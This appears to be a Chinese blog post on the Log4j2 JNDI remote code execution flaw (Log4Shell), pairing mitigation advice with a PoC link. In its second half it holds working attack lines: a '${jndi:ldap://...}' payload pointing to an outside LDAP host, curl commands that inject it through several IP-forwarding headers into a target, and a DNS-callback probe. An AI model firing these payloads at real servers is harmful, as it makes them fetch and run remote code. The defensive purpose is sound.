前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护

Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护

作者头像
全栈工程师修炼指南
发布2022-09-29 19:38:15
8390
发布2022-09-29 19:38:15
举报

注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。

[TOC]

0x00 快速介绍

Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护

背景介绍: Apache Log4j2 是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。 Tips: Log4j2是Log4j的升级版, 对其前身Log4j 1.x进行了重大改进, 并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。

Apache 日志记录服务官网: https://logging.apache.org/ Log4j2 项目官网: https://logging.apache.org/log4j/2.x/index.html

漏洞时间: 影响版本: Apache Log4j 2.x <= 2.14.1

POC & Exploit: https://github.com/tangxiaofeng7/apache-log4j-poc

简单分析+审计:

https://bbs.ichunqiu.com/thread-62322-1-1.html

https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA

https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA

修复建议:

安全建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
  3. jvm参数 -Dlog4j2.formatMsgNoLookups=true
  4. log4j2.formatMsgNoLookups=True
  5. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
  6. 禁止使用log4j的服务器外连出网
  7. 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入

${jndi:ldap://10.20.172.103:8088/Exploit}

curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Real-IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’

-H ‘X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/Exploit}’

curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8080/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_X_FORWARDED_FOR:

X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/badClassName}Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_X_FORWARDED_FOR:

${jndi:ldap://37bo7s.ceye.io/a}

代码语言:javascript
复制
String ip="";
String ip1 = request.getHeader("X_FORWARDED_FOR");
String ip2 = request.getHeader("X-Forwarded-For");
String ip3 = request.getHeader("Proxy-Client-IP");
String ip4 = request.getHeader("WL-Proxy-Client-IP");
String ip5 = request.getHeader("HTTP_CLIENT_IP");
String ip6 = request.getHeader("HTTP_X_FORWARDED_FOR");
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-01-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 快速介绍
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档